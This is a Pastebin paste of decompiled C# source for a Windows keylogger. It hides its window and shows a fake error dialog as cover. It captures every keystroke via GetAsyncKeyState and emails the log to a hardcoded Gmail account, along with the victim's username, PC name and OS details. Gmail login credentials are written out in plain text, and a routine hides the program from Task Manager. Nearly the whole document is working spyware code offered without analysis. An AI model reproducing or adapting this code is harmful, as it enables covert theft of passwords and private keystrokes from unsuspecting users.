Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- atleast encrypt your password next time :^)
- using Microsoft.VisualBasic;
- using Microsoft.VisualBasic.CompilerServices;
- using System;
- using System.ComponentModel;
- using System.Diagnostics;
- using System.Drawing;
- using System.Media;
- using System.Net;
- using System.Net.Mail;
- using System.Runtime.CompilerServices;
- using System.Runtime.InteropServices;
- using System.Windows.Forms;
- using zbackround.My;
- namespace zbackround
- {
- [DesignerGenerated]
- public class Form1 : Form
- {
- private IContainer components;
- [AccessedThroughProperty("Timer1")]
- private Timer _Timer1;
- [AccessedThroughProperty("TextBox1")]
- private TextBox _TextBox1;
- [AccessedThroughProperty("Timer2")]
- private Timer _Timer2;
- [AccessedThroughProperty("Button1")]
- private Button _Button1;
- [AccessedThroughProperty("Button2")]
- private Button _Button2;
- [AccessedThroughProperty("Label1")]
- private Label _Label1;
- [AccessedThroughProperty("Button3")]
- private Button _Button3;
- private int countdown;
- internal virtual Timer Timer1
- {
- get
- {
- return this._Timer1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Timer1_Tick);
- if (this._Timer1 != null)
- {
- this._Timer1.Tick -= value2;
- }
- this._Timer1 = value;
- if (this._Timer1 != null)
- {
- this._Timer1.Tick += value2;
- }
- }
- }
- internal virtual TextBox TextBox1
- {
- get
- {
- return this._TextBox1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.TextBox1_TextChanged);
- if (this._TextBox1 != null)
- {
- this._TextBox1.TextChanged -= value2;
- }
- this._TextBox1 = value;
- if (this._TextBox1 != null)
- {
- this._TextBox1.TextChanged += value2;
- }
- }
- }
- internal virtual Timer Timer2
- {
- get
- {
- return this._Timer2;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Timer2_Tick);
- if (this._Timer2 != null)
- {
- this._Timer2.Tick -= value2;
- }
- this._Timer2 = value;
- if (this._Timer2 != null)
- {
- this._Timer2.Tick += value2;
- }
- }
- }
- internal virtual Button Button1
- {
- get
- {
- return this._Button1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Button1_Click);
- if (this._Button1 != null)
- {
- this._Button1.Click -= value2;
- }
- this._Button1 = value;
- if (this._Button1 != null)
- {
- this._Button1.Click += value2;
- }
- }
- }
- internal virtual Button Button2
- {
- get
- {
- return this._Button2;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Button2_Click);
- if (this._Button2 != null)
- {
- this._Button2.Click -= value2;
- }
- this._Button2 = value;
- if (this._Button2 != null)
- {
- this._Button2.Click += value2;
- }
- }
- }
- internal virtual Label Label1
- {
- get
- {
- return this._Label1;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._Label1 = value;
- }
- }
- internal virtual Button Button3
- {
- get
- {
- return this._Button3;
- }
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.Button3_Click);
- if (this._Button3 != null)
- {
- this._Button3.Click -= value2;
- }
- this._Button3 = value;
- if (this._Button3 != null)
- {
- this._Button3.Click += value2;
- }
- }
- }
- public Form1()
- {
- base.Load += new EventHandler(this.Form1_Load);
- this.countdown = 1801;
- this.InitializeComponent();
- }
- [DebuggerNonUserCode]
- protected override void Dispose(bool disposing)
- {
- try
- {
- if (disposing && this.components != null)
- {
- this.components.Dispose();
- }
- }
- finally
- {
- base.Dispose(disposing);
- }
- }
- [DebuggerStepThrough]
- private void InitializeComponent()
- {
- this.components = new Container();
- this.Timer1 = new Timer(this.components);
- this.TextBox1 = new TextBox();
- this.Timer2 = new Timer(this.components);
- this.Button1 = new Button();
- this.Button2 = new Button();
- this.Label1 = new Label();
- this.Button3 = new Button();
- this.SuspendLayout();
- this.Timer1.Interval = 1;
- Control arg_88_0 = this.TextBox1;
- Point location = new Point(12, 12);
- arg_88_0.Location = location;
- this.TextBox1.Multiline = true;
- this.TextBox1.Name = "TextBox1";
- Control arg_C1_0 = this.TextBox1;
- Size size = new Size(260, 237);
- arg_C1_0.Size = size;
- this.TextBox1.TabIndex = 0;
- this.Timer2.Interval = 1000;
- Control arg_F2_0 = this.Button1;
- location = new Point(3, -1);
- arg_F2_0.Location = location;
- this.Button1.Name = "Button1";
- Control arg_119_0 = this.Button1;
- size = new Size(75, 23);
- arg_119_0.Size = size;
- this.Button1.TabIndex = 1;
- this.Button1.Text = "Button1";
- this.Button1.UseVisualStyleBackColor = true;
- Control arg_15E_0 = this.Button2;
- location = new Point(218, 246);
- arg_15E_0.Location = location;
- this.Button2.Name = "Button2";
- Control arg_185_0 = this.Button2;
- size = new Size(75, 23);
- arg_185_0.Size = size;
- this.Button2.TabIndex = 2;
- this.Button2.Text = "Button2";
- this.Button2.UseVisualStyleBackColor = true;
- this.Label1.AutoSize = true;
- Control arg_1CF_0 = this.Label1;
- location = new Point(123, -1);
- arg_1CF_0.Location = location;
- this.Label1.Name = "Label1";
- Control arg_1F6_0 = this.Label1;
- size = new Size(39, 13);
- arg_1F6_0.Size = size;
- this.Label1.TabIndex = 3;
- this.Label1.Text = "Label1";
- Control arg_22B_0 = this.Button3;
- location = new Point(261, -1);
- arg_22B_0.Location = location;
- this.Button3.Name = "Button3";
- Control arg_252_0 = this.Button3;
- size = new Size(75, 23);
- arg_252_0.Size = size;
- this.Button3.TabIndex = 4;
- this.Button3.Text = "Button3";
- this.Button3.UseVisualStyleBackColor = true;
- SizeF autoScaleDimensions = new SizeF(6f, 13f);
- this.AutoScaleDimensions = autoScaleDimensions;
- this.AutoScaleMode = AutoScaleMode.Font;
- size = new Size(284, 260);
- this.ClientSize = size;
- this.Controls.Add(this.Button3);
- this.Controls.Add(this.Label1);
- this.Controls.Add(this.Button2);
- this.Controls.Add(this.Button1);
- this.Controls.Add(this.TextBox1);
- this.Name = "Form1";
- this.Text = "Error";
- this.ResumeLayout(false);
- this.PerformLayout();
- }
- [DllImport("user32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
- private static extern int GetAsyncKeyState(long vKey);
- private void Form1_Load(object sender, EventArgs e)
- {
- this.Timer1.Start();
- this.Timer2.Start();
- this.FormBorderStyle = FormBorderStyle.SizableToolWindow;
- this.WindowState = FormWindowState.Minimized;
- this.Visible = false;
- this.ShowInTaskbar = false;
- MyProject.Computer.Audio.PlaySystemSound(SystemSounds.Exclamation);
- Interaction.MsgBox("Error Code: 61684", MsgBoxStyle.OkOnly, null);
- this.Visible = false;
- }
- private void Timer1_Tick(object sender, EventArgs e)
- {
- int num = 1;
- do
- {
- int asyncKeyState = Form1.GetAsyncKeyState((long)num);
- try
- {
- if (asyncKeyState == -32767)
- {
- if (!MyProject.Computer.Keyboard.ShiftKeyDown || MyProject.Computer.Keyboard.CapsLock)
- {
- int num2 = num;
- if (num2 == 32)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += " ";
- }
- else if (num2 == 8)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "{BackSpace}";
- }
- else if (num2 == 48)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "0";
- }
- else if (num2 == 49)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "1";
- }
- else if (num2 == 50)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "2";
- }
- else if (num2 == 51)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "3";
- }
- else if (num2 == 52)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "4";
- }
- else if (num2 == 53)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "5";
- }
- else if (num2 == 54)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "6";
- }
- else if (num2 == 55)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "7";
- }
- else if (num2 == 56)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "8";
- }
- else if (num2 == 57)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "9";
- }
- else if (num2 == 190)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += ".";
- }
- else if (num2 == 191)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "/";
- }
- else if (num2 >= 65 && num2 <= 90)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += Strings.Chr(num).ToString().ToLower();
- }
- else if (num2 == 13)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += Environment.NewLine;
- }
- }
- else if (MyProject.Computer.Keyboard.ShiftKeyDown || MyProject.Computer.Keyboard.CapsLock)
- {
- int num3 = num;
- if (num3 == 8)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "{BACKSPACE}";
- }
- else if (num3 >= 65 && num3 <= 90)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += Strings.Chr(num).ToString().ToUpper();
- }
- else if (num3 == 13)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += Environment.NewLine;
- }
- else if (num3 == 48)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += ")";
- }
- else if (num3 == 49)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "!";
- }
- else if (num3 == 50)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "@";
- }
- else if (num3 == 51)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "#";
- }
- else if (num3 == 52)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "$";
- }
- else if (num3 == 53)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "%";
- }
- else if (num3 == 54)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "^";
- }
- else if (num3 == 55)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "&";
- }
- else if (num3 == 56)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "*";
- }
- else if (num3 == 57)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "(";
- }
- else if (num3 == 32)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += " ";
- }
- else if (num3 == 190)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += ".";
- }
- else if (num3 == 191)
- {
- TextBox textBox = this.TextBox1;
- textBox.Text += "?";
- }
- else if (num3 == 38)
- {
- this.WindowState = FormWindowState.Normal;
- this.ShowInTaskbar = true;
- this.Visible = true;
- }
- }
- }
- }
- catch (Exception expr_600)
- {
- ProjectData.SetProjectError(expr_600);
- ProjectData.ClearProjectError();
- }
- checked
- {
- num++;
- }
- }
- while (num <= 255);
- }
- private void TextBox1_TextChanged(object sender, EventArgs e)
- {
- }
- private void Timer2_Tick(object sender, EventArgs e)
- {
- if (this.countdown == 0)
- {
- try
- {
- SmtpClient smtpClient = new SmtpClient();
- MailMessage mailMessage = new MailMessage();
- smtpClient.UseDefaultCredentials = false;
- smtpClient.Credentials = new NetworkCredential("openemail12345@Gmail.com", "login12345");
- smtpClient.Port = 587;
- smtpClient.EnableSsl = true;
- smtpClient.Host = "smtp.gmail.com";
- mailMessage = new MailMessage();
- mailMessage.From = new MailAddress("openemail12345@Gmail.com");
- mailMessage.To.Add("openemail12345@Gmail.com");
- mailMessage.Subject = string.Concat(new string[]
- {
- "KeyLogger ",
- DateTime.Now.ToLongTimeString(),
- " ",
- SystemInformation.UserName,
- " ",
- SystemInformation.UserDomainName
- });
- mailMessage.IsBodyHtml = false;
- string text = string.Concat(new string[]
- {
- "Users LocalTime: ",
- DateTime.Now.ToLongTimeString(),
- Environment.NewLine,
- " Users System UserName: ",
- SystemInformation.UserName,
- Environment.NewLine,
- " Users Pc Name: ",
- SystemInformation.UserDomainName,
- Environment.NewLine,
- " Monitor Resolution: ",
- MyProject.Computer.Screen.ToString(),
- Environment.NewLine,
- " OS Information: ",
- MyProject.Computer.Info.OSFullName.ToString(),
- " v. ",
- MyProject.Computer.Info.OSVersion.ToString(),
- Environment.NewLine,
- " Keylogger Logs ",
- Environment.NewLine,
- " "
- });
- mailMessage.Body = string.Concat(new string[]
- {
- "Computer specs: ",
- Environment.NewLine,
- text,
- Environment.NewLine,
- this.TextBox1.Text
- });
- smtpClient.Send(mailMessage);
- this.countdown = 1801;
- }
- catch (Exception expr_22B)
- {
- ProjectData.SetProjectError(expr_22B);
- Exception ex = expr_22B;
- Interaction.MsgBox(ex.ToString(), MsgBoxStyle.OkOnly, null);
- ProjectData.ClearProjectError();
- }
- }
- checked
- {
- this.countdown--;
- this.Label1.Text = Conversions.ToString((double)this.countdown / 60.0);
- }
- }
- private void Button1_Click(object sender, EventArgs e)
- {
- try
- {
- SmtpClient smtpClient = new SmtpClient();
- MailMessage mailMessage = new MailMessage();
- smtpClient.UseDefaultCredentials = false;
- smtpClient.Credentials = new NetworkCredential("openemail12345@Gmail.com", "login12345");
- smtpClient.Port = 587;
- smtpClient.EnableSsl = true;
- smtpClient.Host = "smtp.gmail.com";
- mailMessage = new MailMessage();
- mailMessage.From = new MailAddress("openemail12345@Gmail.com");
- mailMessage.To.Add("openemail12345@Gmail.com");
- mailMessage.Subject = string.Concat(new string[]
- {
- "KeyLogger ",
- DateTime.Now.ToLongTimeString(),
- " ",
- SystemInformation.UserName,
- " ",
- SystemInformation.UserDomainName
- });
- mailMessage.IsBodyHtml = false;
- string text = string.Concat(new string[]
- {
- "Users LocalTime: ",
- DateTime.Now.ToLongTimeString(),
- Environment.NewLine,
- " Users System UserName: ",
- SystemInformation.UserName,
- Environment.NewLine,
- " Users Pc Name: ",
- SystemInformation.UserDomainName,
- Environment.NewLine,
- " Monitor Resolution: ",
- MyProject.Computer.Screen.ToString(),
- Environment.NewLine,
- " OS Information: ",
- MyProject.Computer.Info.OSFullName.ToString(),
- " v. ",
- MyProject.Computer.Info.OSVersion.ToString(),
- Environment.NewLine,
- " Keylogger Logs: ",
- Environment.NewLine,
- " "
- });
- mailMessage.Body = string.Concat(new string[]
- {
- "Computer specs: ",
- Environment.NewLine,
- text,
- Environment.NewLine,
- this.TextBox1.Text
- });
- smtpClient.Send(mailMessage);
- Interaction.MsgBox("Mail Sent", MsgBoxStyle.OkOnly, null);
- }
- catch (Exception expr_221)
- {
- ProjectData.SetProjectError(expr_221);
- Exception ex = expr_221;
- Interaction.MsgBox(ex.ToString(), MsgBoxStyle.OkOnly, null);
- ProjectData.ClearProjectError();
- }
- }
- private void Button2_Click(object sender, EventArgs e)
- {
- this.WindowState = FormWindowState.Minimized;
- this.ShowInTaskbar = false;
- }
- private void Button3_Click(object sender, EventArgs e)
- {
- TMListViewDelete.Running = true;
- this.FormBorderStyle = FormBorderStyle.FixedToolWindow;
- this.Visible = false;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement